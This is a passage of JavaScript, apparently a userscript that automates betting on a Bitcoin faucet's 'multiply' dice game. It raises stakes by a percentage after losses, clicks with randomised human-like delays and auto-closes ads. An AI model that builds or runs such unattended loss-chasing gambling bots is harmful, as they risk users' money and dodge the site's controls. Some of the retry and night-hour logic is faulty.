  1147. if (game2_play_after_losses < WAIT_PLAY_AFTER_LOSSES) {
  1148. game2_step=5;
  1149. game2_play_after_losses++;
  1150. return MIN_BET;
  1151. } else if (game2_play_after_losses >= WAIT_PLAY_AFTER_LOSSES){
  1152. // Begin to play, next step -> else
  1153. game2_step=6;
  1154. game_play_began=true;
  1155. tot_multiply_play++;
  1156. game_play_count++;
  1157. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1158. return BAS_BET;
  1159. } else return "-008";
  1160. } else {
  1161. if (consecutive_lost > 0) {
  1162. game2_step=7;
  1163. return past_bet+(past_bet*INCR/100);
  1164. } else {
  1165. // Playing and won, go back to the begin
  1166. game_play_began=false;
  1167. game2_step=0;
  1168. game2_consecutive_lost_passed=false;
  1169. game2_finished_loosing=false;
  1170. game2_play_after_losses=0;
  1171. if (STRATEGY == 3) {
  1172. MIN_LOSSES_BEFORE_PLAY++;
  1173. if (LOGGING > 2) console.log("New MIN_LOSSES_BEFORE_PLAY value is: "+MIN_LOSSES_BEFORE_PLAY);
  1174. }
  1175. return MIN_BET;
  1176. }
  1177. }
  1178. }
  1179. }
  1180. } else return "-010";
  1181. }
  1182. function get_bet_odds () {
  1183. if (STRATEGY == 0) { return 2; }
  1184. else return ODDS;
  1185. }
  1186. function get_bet_hilo (index) {
  1187. if (HIGH_LOW == 3 ) {
  1188. var olaer = ['H','L','L','H','H','H','L','L','L','L','H','H','H','H','H','L','L','L','L','L','L','H','H','H','H','H','H','H','L','L','L','L','L','L','L','L'];
  1189. var key = index % olaer.length;
  1190. return olaer[key];
  1191. } else if (HIGH_LOW == 1) {
  1192. return "H";
  1193. } else if (HIGH_LOW == 2) {
  1194. return "L";
  1195. } else {
  1196. var r = random(1,10);
  1197. if (r<5) return 'H';
  1198. else return 'L';
  1199. }
  1200. }
  1201. function bet(amount, hl, odds, fast) {
  1202. var toclick; var wait_time_1=0; var wait_time_2=0;
  1203. if (hl == "L") toclick = "#double_your_btc_bet_lo_button";
  1204. else toclick = "#double_your_btc_bet_hi_button";
  1205. //if (LOGGING > 4) console.log(">> playing: "+hl+", betting: "+amount.toFixed(8) );
  1206. tot_multiply_bets++;
  1207. setCookie('tot_multiply_bets', tot_multiply_bets, 7);
  1208. if (SPEED == 0) {
  1209. wait_time_1 = random(2000,10000); wait_time_2=random(1000,5000);
  1210. } else if (SPEED == 1) {
  1211. if (Boolean(fast)) { wait_time_1 = random(300,900); wait_time_2=random(100,200); }
  1212. else { wait_time_1 = random(1133,5544); wait_time_2=random(100,1000); }
  1213. } else if (SPEED == 2) {
  1214. wait_time_1 = random(300,1000); wait_time_2=random(100,200);
  1215. } else {
  1216. wait_time_1 = random(10,20); wait_time_2=0;
  1217. }
  1218. setTimeout (function(){
  1219. $("#double_your_btc_stake").val(parseFloat(amount).toFixed(8));
  1220. $("#double_your_btc_payout_multiplier").val(odds);
  1221. setTimeout(function(){ $(toclick).click(); }, wait_time_1 );
  1222. }, wait_time_2 );
  1223. }
  1224. function multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message) {
  1225. // Finished playing multiply
  1226. // Deactivate DOM Monitors
  1227. observer.disconnect();
  1228. if ( $('#multiply_full_container').length) {
  1229. $('#multiply_message').html(multiply_message);
  1230. }
  1231. multiply_hist_arr.push(tot_multiply_balance);
  1232. setCookie('multiply_hist_arr',JSON.stringify(multiply_hist_arr),14);
  1233. console.log("%cMultiply hist array: "+multiply_hist_arr, 'color:grey');
  1234. if (LOGGING > 2) {
  1235. if (bet_amount > MAX_BET) {
  1236. console.log("%c Max Bet limit passed. Max Bet: "+MAX_BET+", Next Bet: "+bet_amount, 'color: red');
  1237. } else if (bet_count >= MAX_ROLLS_AT_MULTIPLY ) {
  1238. console.log("%c Max Rolls limit passed. Max Rolls: "+MAX_ROLLS_AT_MULTIPLY+", Tot Rolls: "+bet_count+" with "+consecutive_lost+" cons losts", 'color: red');
  1239. } else if (game_play_count >= MAX_PLAY) {
  1240. console.log("%c Max Plays limit passed. Max Plays: "+MAX_PLAY+", Tot Plays: "+game_play_count, 'color: red');
  1241. }
  1242. }
  1243. if (LOGGING > 4) console.log("%c Disabling Monitors, finished multiply", css_bold+'color:green');
  1244. if (LOGGING > 4) console.log("%c Tot Balance: "+tot_multiply_balance+", Tot games: "+tot_multiply_games+", Tot bets: "+tot_multiply_bets, css_bold+'color: green');
  1245. if (LOGGING > 4) console.log("%c Session Balance: "+curr_multiply_balance+", Session tot bets: "+bet_count, css_bold+'color:green');
  1246. $('#script_output_multiply_status').html('<span class="bold">Multiply: <span class="true">Done!</span></span>');
  1247. isMultiplyRunning=false;
  1248. setTimeout(function(){
  1249. isMultiplyRunning = false;
  1250. $('.free_play_link').not('.hide_menu').click();
  1251. }, random(3000,30000));
  1252. }
  1253. function missingTime () {
  1254. var min = 0; var sec = 0; var str = "";
  1255. str = $('title').text().split(" ")[0];
  1256. //if (LOGGING > 4) console.log("%c[missingTime] [Debug] string: "+str, 'color: grey');
  1257. if (str.length <= 7 && str.length >= 3) {
  1258. min = str.split(':')[0]; if (min.length > 0) min = min.replace('m','');
  1259. sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s','');
  1260. } else if ( $('#free_play_form_button').is(':visible') ) {
  1261. min = 0; sec = 0;
  1262. } else { min = -1; sec = -1; }
  1263. return [min,sec];
  1264. }
  1265. function isNight(){
  1266. var d = new Date();
  1267. var h = d.getHours();
  1268. if ( stopNight > startNight && h >= startNight && h <= stopNight) {
  1269. // console.log(h+" -- "+stopNight)
  1270. return true;
  1271. } else if (stopNight < startNight && h >= startNight || h <= stopNight ) {
  1272. return true;
  1273. }
  1274. else return false;
  1275. }
  1276. function random(min,max){
  1277. return min + (max - min) * Math.random();
  1278. }
  1279. function closePopupInterval (target) {
  1280. //if (LOGGING > 4) console.log("%c[Debug] Function closePopupInterval begin", 'color:grey');
  1281. if (target.is(':visible')) {
  1282. setTimeout(function(){
  1283. if (LOGGING > 3) console.log("%cClose ADS", 'color: grey');
  1284. target.click();
  1285. ads_closed ++;
  1286. $('#script_output_title_ads_closed_num').text(ads_closed);
  1287. }, random (500,120000));
  1288. } else {
  1289. //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey');
  1290. }
  1291. }
  1292. function closeRandomPopupInterval (target, randomness) {
  1293. //if (LOGGING > 4) console.log("%c[Debug] Function closeRandomPopupInterval begin", 'color:grey');
  1294. var rand = random(1,100);
  1295. if (rand < randomness && target.is(':visible')) {
  1296. setTimeout(function(){
  1297. if (LOGGING > 3) console.log("%cClose Random ADS", 'color: grey');
  1298. target.click();
  1299. ads_closed ++;
  1300. $('#script_output_title_ads_closed_num').text(ads_closed);
  1301. }, random (500,120000));
  1302. } else {
  1303. //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey');
  1304. }
  1305. }
  1306. function getCookie(cname) {
  1307. var name = cname + "=";
  1308. var decodedCookie = decodeURIComponent(document.cookie);
  1309. var ca = decodedCookie.split(';');
  1310. for(var i = 0; i <ca.length; i++) {
  1311. var c = ca[i];
  1312. while (c.charAt(0) == ' ') {
  1313. c = c.substring(1);
  1314. }
  1315. if (c.indexOf(name) == 0) {
  1316. return c.substring(name.length, c.length);
  1317. }
  1318. }
  1319. return "";
  1320. }
  1321. function setCookie(cname, cvalue, exdays) {
  1322. var d = new Date();
  1323. d.setTime(d.getTime() + (exdays*24*60*60*1000));
  1324. var expires = "expires="+ d.toUTCString();
  1325. document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
  1326. }
  1327. function reset_all_stats(){
  1328. if (LOGGING > 2) console.log("%c Resettnig all stats deleting all cookies", 'color:red');
  1329. setCookie("last_bonus",0,365); setCookie("last_multiply",0,30); setCookie("rp_hist_arr","[]",31); setCookie("tot_multiply_balance",0,7); setCookie("tot_multiply_games",0,30);
  1330. setCookie("tot_rp_spent_captcha",0,7); setCookie("tot_rp_spent_rewards",0,7); setCookie('curr_multiply_balance',0,7); setCookie('curr_multiply_wagered',0,30);
  1331. setCookie('executions',0,7); setCookie('last_multiply_session_hist',0,7); setCookie('max_bet_session',0,7); setCookie('max_consecutive_losts',0,365);
  1332. setCookie('max_consecutive_losts_inplay',0,7); setCookie('max_consecutive_losts_inplay_session',0,7); setCookie('max_consecutive_losts_session',0,7);
  1333. setCookie('multiply_error',0,31); setCookie('multiply_hist_arr',"[]",14); setCookie('tot_btc_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7);
  1334. setCookie('tot_lottery_winning_rolling',0,7); setCookie('tot_multiply_balance',0,7); setCookie('tot_multiply_bets',0,7); setCookie('tot_multiply_play',0,7);
  1335. setCookie('tot_multiply_wagered',0,365); setCookie('tot_rp_winning_rolling',0,7);
  1336. location.reload();
  1337. }
  1338. function showStatus(){
  1339. if (LOGGING > 4) console.log("%c[Debug] Function showStatus begin", 'color:grey');
  1340. var t=missingTime();
  1341. var date = new Date();
  1342. var script_output_msg_1 = "";
  1343. var script_output_msg_2 = "";
  1344. var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(date);
  1345. var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:';
  1346. var c1='purple'; var c2='olive';
  1347. var c3='brown'; var c4='teal';
  1348. if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]", css_bold+'color:'+c1, css_bold);
  1349. //Rewards and multiply infos and colors
  1350. if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if (Boolean(LOTTERY)) cc='green';
  1351. var cssa='font-weight: bold; color:'+ca;
  1352. var cssb='font-weight: bold; color:'+cb;
  1353. var cssc='font-weight: bold; color:'+cc;
  1354. if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards: "+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c; Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc);
  1355. if (t[0] > 0 || t[1] > 0) {
  1356. if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+" sec"+"%c for next roll",css_bold+"color:"+c1,css_reset);
  1357. }
  1358. if (LOGGING > 0) console.log(">>>>>>>>>> BTC won with script: "+"%c"+tot_btc_winning_rolling, css_bold+'color:'+c4);
  1359. if (LOGGING > 0) console.log(">>>>>>>>>> Tickets won with script: "+"%c"+tot_lottery_winning_rolling, css_bold+'color:'+c4);
  1360. if (LOGGING > 0) console.log(">>>>>>>>>> RP won with script: "+"%c"+tot_rp_winning_rolling, css_bold+'color:'+c4);
  1361. if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with rewards: "+"%c"+tot_rp_spent_rewards, css_bold+'color:'+c1);
  1362. if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with captcha: "+"%c"+tot_rp_spent_captcha, css_bold+'color:'+c1);
  1363. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Balance: "+"%c"+tot_multiply_balance, css_bold+'color:'+c3);
  1364. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Games played: "+"%c"+tot_multiply_games, css_bold+'color:'+c3);
  1365. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Wagered: "+"%c"+tot_multiply_wagered, css_bold+'color:'+c3);
  1366. // Update Status Message OnPage
  1367. script_output_msg_1 = "<span class='bold'>Config: </span>";
  1368. script_output_msg_1 += "<span class='"+Boolean(REWARDS)+"'>REWARDS </span> <> ";
  1369. script_output_msg_1 += "<span class='"+Boolean(BONUS1000)+"'>BONUS1000</span> <> ";
  1370. script_output_msg_1 += "<span class='"+Boolean(MULTIPLY)+"'>MULTIPLY</span> <> ";
  1371. script_output_msg_1 += "<span class='"+Boolean(LOTTERY)+"'>LOTTERY</span>";
  1372. $('#script_output_msg_1').html(script_output_msg_1);
  1373. script_output_msg_2 = "<span class='bold'> Script Winnings: </span> ";
  1374. script_output_msg_2 += "<span class='true'>"+tot_btc_winning_rolling+"</span> btc; ";
  1375. script_output_msg_2 += "<span class='true'>"+tot_lottery_winning_rolling+"</span> tickets; ";
  1376. script_output_msg_2 += "<span class='true'>"+tot_rp_winning_rolling+"</span> RP.";
  1377. script_output_msg_2 += "</br>";
  1378. script_output_msg_2 += "<span class='bold'> Script Spent: </span>";
  1379. script_output_msg_2 += "<span class='true'>"+tot_lottery_tickets+"</span> in lottery tickets; ";
  1380. script_output_msg_2 += "<span class='true'>"+tot_rp_spent_rewards+"</span> RP in bonus; ";
  1381. script_output_msg_2 += "<span class='true'>"+tot_rp_spent_captcha+"</span> RP in captcha. ";
  1382. script_output_msg_2 += "</br>";
  1383. script_output_msg_2 += "<span class='bold'> Script Multiply Balance: </span>";
  1384. script_output_msg_2 += "<span class='true'>"+tot_multiply_balance+"</span> btc in ";
  1385. script_output_msg_2 += "<span class='true'>"+tot_multiply_games+"</span> games and ";
  1386. script_output_msg_2 += "<span class='true'>"+tot_multiply_bets+"</span> bets";
  1387. $('#script_output_msg_2').html(script_output_msg_2);
  1388. }
  1389. function setBtcPrice(){
  1390. //if (LOGGING > 4) console.log("%c[Debug] Function setBtcPrice begin", 'color:grey');
  1391. var btc_price=$('#btc_usd_price').html().split('.')[0].replace('$','').replace(',','');
  1392. var i=1;
  1393. var to=2000;
  1394. if (i>=10) return false;
  1395. else if (isNaN(btc_price)) {
  1396. if (LOGGING > 4) console.log("%c[setBtcPrice] Price NA, try again in "+to*i/1000+" s", 'color:grey');
  1397. setTimeout(function(){ setBtcPrice(); }, to*i );
  1398. i++;
  1399. return true;
  1400. } else {
  1401. $('#usdxbtc').html(btc_price);
  1402. var usd_price=parseFloat(100000000/btc_price).toFixed(0);
  1403. $('#satxusd').html(usd_price);
  1404. }
  1405. }

comments powered by Disqus